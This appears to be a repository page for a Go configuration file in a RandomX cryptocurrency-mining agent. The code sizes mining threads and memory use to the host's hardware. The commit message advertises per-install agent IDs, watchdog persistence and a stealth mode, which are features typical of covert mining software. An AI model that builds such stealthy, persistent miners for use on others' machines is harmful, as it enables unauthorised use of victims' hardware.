Files
AetherForge/agent/config/adapt.go
drjones 4341121652 Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
2026-05-26 23:46:46 -07:00

58 lines
1.0 KiB
Go

package config
import (
"runtime"
"crypto-miner-agent/stats"
)
const randomXMBPerThread = 384
// AdaptToSystem tunes thread and memory limits for the host hardware.
func (c RuntimeConfig) AdaptToSystem(reporter *stats.Reporter) RuntimeConfig {
if !c.AdaptToHardware {
return c
}
out := c
totalMB := reporter.TotalMemoryMB()
if totalMB == 0 {
return out
}
if out.MinFreeRAM <= 0 || out.MinFreeRAM > int(totalMB/4) {
minFree := int(totalMB / 10)
if minFree < 512 {
minFree = 512
}
out.MinFreeRAM = minFree
}
maxByRAM := int(float64(totalMB) * float64(out.MaxMemoryPct) / 100.0 / float64(randomXMBPerThread))
if maxByRAM < 1 {
maxByRAM = 1
}
threads := out.EffectiveThreads()
if threads > maxByRAM {
if out.ThreadMode == "fixed" {
out.Threads = maxByRAM
} else {
cores := runtime.NumCPU()
if cores < 1 {
cores = 1
}
pct := int(float64(maxByRAM) / float64(cores) * 100.0)
if pct < 10 {
pct = 10
}
if pct > 100 {
pct = 100
}
out.ThreadPercent = pct
}
}
return out
}